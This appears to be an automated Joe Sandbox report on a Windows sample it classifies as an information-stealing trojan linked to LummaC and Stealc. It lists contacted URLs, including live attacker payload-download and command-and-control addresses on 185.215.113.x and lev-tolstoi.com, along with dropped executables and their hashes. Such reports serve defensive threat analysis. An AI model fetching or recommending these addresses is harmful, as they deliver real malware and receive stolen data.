https://www.youtube.com/	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/privacy_agreement/	Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/MP	1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.0000000000A20000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/c4becf79229cb002.phpZm	1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.00000000009AE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com/recaptcha/	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://checkout.steampowered.com/	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	Bire1g8ahY.exe, 00000000.00000003.1457483751.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exe3	Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/off/def.exe	Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exe.	Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://store.steampowered.com/;	Bire1g8ahY.exe, 00000000.00000003.1343774938.000000000130A000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/about/	Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/my/wishlist/	Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/es	Bire1g8ahY.exe, 00000000.00000003.1523398427.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1501036417.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://help.steampowered.com/en/	Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/market/	Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/news/	Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=St3gSJx2HFUZ&l=e	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.phpj	1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.0000000000A07000.00000004.00000020.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Bire1g8ahY.exe, 00000000.00000003.1387514549.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387375914.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387439529.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	false	high
http://store.steampowered.com/subscriber_agreement/	Bire1g8ahY.exe, 00000000.00000003.1386496751.0000000001358000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	Bire1g8ahY.exe, Bire1g8ahY.exe, 00000000.00000003.1523398427.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1386496751.0000000001358000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1459850809.0000000001347000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1501036417.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1484278199.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/apiy	Bire1g8ahY.exe, 00000000.00000003.1386534600.00000000012E2000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://recaptcha.net/recaptcha/;	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/discussions/	Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/stats/	Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
https://medal.tv	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://broadcast.st.dl.eccdnx.com	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/steam_refunds/	Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.c.lencr.org/0	Bire1g8ahY.exe, 00000000.00000003.1433441160.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	Bire1g8ahY.exe, 00000000.00000003.1433441160.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Bire1g8ahY.exe, 00000000.00000003.1387514549.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387375914.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387439529.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900	Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/steam/random.exeoot	Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.157.254	lev-tolstoi.com	United States	13335	CLOUDFLARENETUS	false
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579765
Start date and time:	2024-12-23 08:43:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Bire1g8ahY.exe renamed because original name is a hash value
Original Sample Name:	3a5696def6e0a20dfeb8786eadff60a0.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@11/4
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 4.175.87.197
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 1I4F16VK8DFW90DXD.exe, PID 4132 because there are no executed function
Execution Graph export aborted for target Bire1g8ahY.exe, PID 7312 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Bire1g8ahY.exe

Simulations

Behavior and APIs

Time	Type	Description
02:44:13	API Interceptor	61x Sleep call for process: Bire1g8ahY.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.157.254	NfwBtCx5PR.exe	Get hash	malicious	LummaC	Browse
	pJRiqnTih0.exe	Get hash	malicious	LummaC	Browse
	xxLuwS60RS.exe	Get hash	malicious	LummaC	Browse
	9pyUjy2elE.exe	Get hash	malicious	LummaC	Browse
	NQbg5Ht2hW.exe	Get hash	malicious	LummaC	Browse
	BZuk2UI1RC.exe	Get hash	malicious	LummaC	Browse
	EI3TafelpV.exe	Get hash	malicious	LummaC	Browse
	6S7hoBEHvr.exe	Get hash	malicious	LummaC	Browse
	Neverlose.cc.exe	Get hash	malicious	LummaC	Browse
	Launcher_x64.exe	Get hash	malicious	LummaC	Browse
104.102.49.254	http://gtm-cn-j4g3qqvf603.steamproxy1.com/	Get hash	malicious	Unknown	Browse	www.valvesoftware.com/legal.htm
185.215.113.206	w23Vg439U1.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	0OkLsJL2Bn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lev-tolstoi.com	jSFUzuYPG9.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	HK8IIasL9i.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	NfwBtCx5PR.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	pJRiqnTih0.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	xxLuwS60RS.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	5RjjCWZAVv.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.66.86
	TmmiCE5Ulm.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	9pyUjy2elE.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	0gnHF2twcT.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
steamcommunity.com	jSFUzuYPG9.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	HK8IIasL9i.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	OGBLsboKIF.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	NfwBtCx5PR.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	pJRiqnTih0.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	5XXofntDiN.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	xxLuwS60RS.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	5RjjCWZAVv.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	23.55.153.106
	TmmiCE5Ulm.exe	Get hash	malicious	LummaC	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	w23Vg439U1.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	0OkLsJL2Bn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
CLOUDFLARENETUS	jSFUzuYPG9.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	HK8IIasL9i.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	QQ5BxgG5G6.exe	Get hash	malicious	LummaC	Browse	104.21.32.96
	FjFeChttqA.exe	Get hash	malicious	LummaC	Browse	172.67.150.173
	mG83m82qhF.exe	Get hash	malicious	LummaC	Browse	172.67.150.173
	w23Vg439U1.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
	LP4a6BowQN.exe	Get hash	malicious	LummaC	Browse	104.21.32.96
	0OkLsJL2Bn.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
	zLP3oiwG1g.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
AKAMAI-ASUS	armv4l.elf	Get hash	malicious	Unknown	Browse	23.222.144.153
	loligang.sh4.elf	Get hash	malicious	Mirai	Browse	104.72.108.202
	loligang.mpsl.elf	Get hash	malicious	Mirai	Browse	23.79.17.106
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.217.44.145
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.57.209.219
	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	104.119.158.106
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	2.20.41.184
	na.elf	Get hash	malicious	Mirai	Browse	184.29.182.57
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	104.69.129.71
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	104.78.81.87

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	jSFUzuYPG9.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	HK8IIasL9i.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	QQ5BxgG5G6.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	FjFeChttqA.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	mG83m82qhF.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	w23Vg439U1.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.157.254 104.102.49.254
	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.157.254 104.102.49.254
	LP4a6BowQN.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	0OkLsJL2Bn.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.157.254 104.102.49.254
	zLP3oiwG1g.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	w23Vg439U1.exe	Get hash	malicious	LummaC, Stealc	Browse
C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse
C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	w23Vg439U1.exe	Get hash	malicious	LummaC, Stealc	Browse
	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\4830TYWIJQ5SCGDL2FZPZJN92URB.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe

Download File

Process:	C:\Users\user\Desktop\Bire1g8ahY.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2835456
Entropy (8bit):	6.4743871893569205
Encrypted:	false
SSDEEP:	49152:kSmc33xGO68K1vu9T+TS6fZ0pZxvPFfJi+1hSdY:kRqhG5P1vu9T+m6fZ2xvNj1hSdY
MD5:	59729E914FA8E15D347129643C03AC1F
SHA1:	80ACB4BE6A6534FB8DE67CAAFEE13A03D9E15754
SHA-256:	E65319903B70AE142A07B8BF5F4573AC65B428E26CD93CBF2380E5E00F4EFC0D
SHA-512:	B592B27B3DB5B041D1D45B206239FFD4B37C051AEB6EA0E74E57623920E15CB18F12696E596EAEB5788D57629917F9D8324C588EF8A62D6F470173795CA79B36
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: w23Vg439U1.exe, Detection: malicious, Browse Filename: pfY4k1qisn.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(.......pN...........@...........................N......L+...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...ynqricro..)...$...)..\|..............@...wjlvyldl.....`N.......+.............@....taggant.0...pN.."..."+.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe

Download File

Process:	C:\Users\user\Desktop\Bire1g8ahY.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2765312
Entropy (8bit):	6.472048555078744
Encrypted:	false
SSDEEP:	49152:7BHOMBnHvofpeKjh8RoNjIS1q4G0cL0+3JLmswbFze:71OMBnHvoUKaRoJIS1q4GNwFze
MD5:	579641D4119C3977AA3E5FDCBB740D8B
SHA1:	F1AAC5BF32B9121D64D71B41A0493525862AE82D
SHA-256:	2AEBE4A6A652C6DE494CF0A16B36FF6788933B807A2651350960B5644C7A1185
SHA-512:	50793412314B014BD779FC76AB1D59A87C6ED0DECD4550FF0C90190E53FFDA014EA51EC63B6D9C4B2A9D12B5341A19A079EB95A44DF5AC1E414C40BAB72D2094
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: w23Vg439U1.exe, Detection: malicious, Browse Filename: pfY4k1qisn.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ..................................`.................................U...i....`..D........................................................................................................... . .@... ...@... ..............@....rsrc...D....`.......`..............@....idata . ...........f..............@...brdofphe..).......)..h..............@...pzoalvov. ...`....................@....taggant.@......"....*.............@...................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948361721079481
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Bire1g8ahY.exe
File size:	1'907'712 bytes
MD5:	3a5696def6e0a20dfeb8786eadff60a0
SHA1:	e0a623473fdab0dd57963f4f621f90c04e7ba412
SHA256:	96768826305ca9bfb18ec1d67156f09094acc6aa2afea7dcd9ffa954585c5618
SHA512:	9594fb613a41e1f4f29ab836d6b8058ae1ddfa916e2b1f20ddffa96fc2814e3aac521563382f9a2041362204e7b0cccd8e5f6557365d53f095811a92ff435455
SSDEEP:	49152:9c0ApWQ3KXDXw6MaDI/HFMayl0mV8QxVeQ8:i0aTanGHyl1V8EV
TLSH:	D09533B41F825ABEFBE2D6B165F760A91BC506745D3EA8B4CFD618AB1CB311481C0933
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g............................. K...........@..........................PK.....'.....@.................................T0..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8b2000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

